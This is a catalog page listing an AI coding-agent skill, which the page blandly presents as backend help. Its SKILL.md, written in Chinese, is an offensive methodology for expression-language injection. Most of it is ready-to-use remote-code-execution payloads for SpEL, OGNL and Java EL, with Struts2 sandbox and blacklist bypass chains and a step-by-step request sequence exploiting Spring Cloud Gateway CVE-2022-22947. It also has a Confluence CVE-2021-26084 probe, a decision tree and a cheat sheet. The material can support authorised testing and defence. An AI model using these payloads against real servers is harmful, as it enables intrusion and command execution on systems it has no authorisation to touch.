Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Expression Language Injection

  • 11 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with backend & apis tasks during AI-assisted development.

About

expression-language-injection is a Claude Code skill for backend & apis. It helps solo builders move faster with AI-assisted coding.

  • expression-language-injection
  • Backend & APIs
  • AI-coding skill

Expression Language Injection by the numbers

  • 11 all-time installs (skills.sh)
  • Ranked #3,574 of 4,347 Backend & APIs skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill expression-language-injection

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs11
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with backend & apis tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

表达式语言(EL)注入方法论

相关 skill:SSTI 模板注入(Jinja2/FreeMarker/Twig)→ ssti-methodology(如有)——EL 注入和 SSTI 共享检测探针 ${7*7} 但利用路径完全不同;JNDI 注入(EL 求值导致 JNDI lookup)→ jndi-injection(如有)

关键区分:SSTI 针对模板渲染引擎;EL 注入针对 Java 框架中嵌入的表达式求值器

---

1. 检测 — 多语法探测

${7*7}              → 49 = SpEL、OGNL 或 Java EL
#{7*7}              → 49 = SpEL(替代语法)或 JSF EL
%{7*7}              → 49 = OGNL(Struts2)
${T(java.lang.Math).random()}  → 随机浮点数 = SpEL 确认
%{#context}         → 对象 dump = OGNL 确认

区分引擎

${7*7} 响应%{7*7} 响应引擎
49原样 %{7*7}SpEL 或 Java EL
原样 ${7*7}49OGNL(Struts2)
4949两者可能同时存在

---

2. SpEL(Spring Expression Language)

出现位置

  • @Value("${...}") 注解
  • Spring Security 表达式(@PreAuthorize
  • Spring Cloud Gateway 路由谓词和过滤器
  • Thymeleaf th:text="${...}"(配合 __${...}__ 预处理时)
  • Spring Data @Query 中的 SpEL

RCE — Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE — 带输出回显(Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE — 带输出回显(Spring StreamUtils)

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder(Runtime 被阻止时)

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

通过 actuator 添加含 SpEL 过滤器的恶意路由:

# 步骤 1: 添加路由(SpEL 在 filter 中)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# 步骤 2: 刷新路由
POST /actuator/gateway/refresh

# 步骤 3: 触发路由
GET /hackpath
# 响应头 "Result" 包含命令输出

# 步骤 4: 清理
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL 沙箱绕过

当使用 SimpleEvaluationContext(限制 T() 操作符)时:

${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

---

3. OGNL(Object-Graph Navigation Language)

出现位置

  • Apache Struts2 — 主要 OGNL 消费者
  • Confluence Server — 部分请求路径使用 OGNL
  • 任何使用 ognl.Ognl.getValue()/ognl.Ognl.setValue() 的 Java 应用

基础 RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 沙箱绕过 — _memberAccess 操纵

Struts2 通过 SecurityMemberAccess 限制 OGNL。经典绕过:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlUtil 黑名单清除

较新 Struts2 版本使用类/包黑名单,通过清除 excludedClassesexcludedPackageNames 绕过:

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Struts2 关键 CVE

CVE向量Payload 位置
S2-045(CVE-2017-5638)Content-Type headerContent-Type 中 %{...}
S2-046(CVE-2017-5638)Multipart filename上传文件名中 OGNL
S2-016(CVE-2013-2251)redirect:/redirectAction: 前缀URL 参数
S2-048(CVE-2017-9791)Struts ShowcaseActionMessage 中 OGNL
S2-057(CVE-2018-11776)Namespace OGNLURL 路径

Confluence OGNL — CVE-2021-26084

Confluence Server 通过 queryString 或 action 参数允许 OGNL 注入:

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL 解码: \u0027+{3*3}+\u0027
# 如果响应包含 9 → 确认存在 OGNL 注入
# 升级到 Runtime.exec 实现 RCE

---

4. Java EL(JSP / JSF)

出现位置

  • JSP 页面:${expression}#{expression}
  • JSF(JavaServer Faces):值和方法绑定
  • 自定义标签库

RCE Payload

// Java EL + Runtime:
${Runtime.getRuntime().exec("id")}

// 通过 pageContext(JSP):
${pageContext.request.getServletContext().getClassLoader()}

// 反射方式:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

---

5. 决策树

输入反射且 ${7*7} 返回 49?
├── Java 应用?
│   ├── Struts2?→ 尝试 %{...} OGNL payload
│   │   └── 检查 Content-Type 注入(S2-045)
│   ├── Spring?→ 尝试 T(java.lang.Runtime) SpEL
│   │   └── 检查 /actuator/gateway(Spring Cloud Gateway)
│   ├── Confluence?→ 尝试 OGNL via action 参数
│   └── JSP/JSF?→ 尝试 Java EL payload
│
├── 错误信息暴露框架?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── 被沙箱阻止?
    ├── OGNL: 清除 _memberAccess / excludedClasses
    ├── SpEL: 反射绕过 SimpleEvaluationContext
    └── 尝试替代执行方式(ProcessBuilder, ScriptEngine)

---

6. 速查

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL + 沙箱绕过:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 探测:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.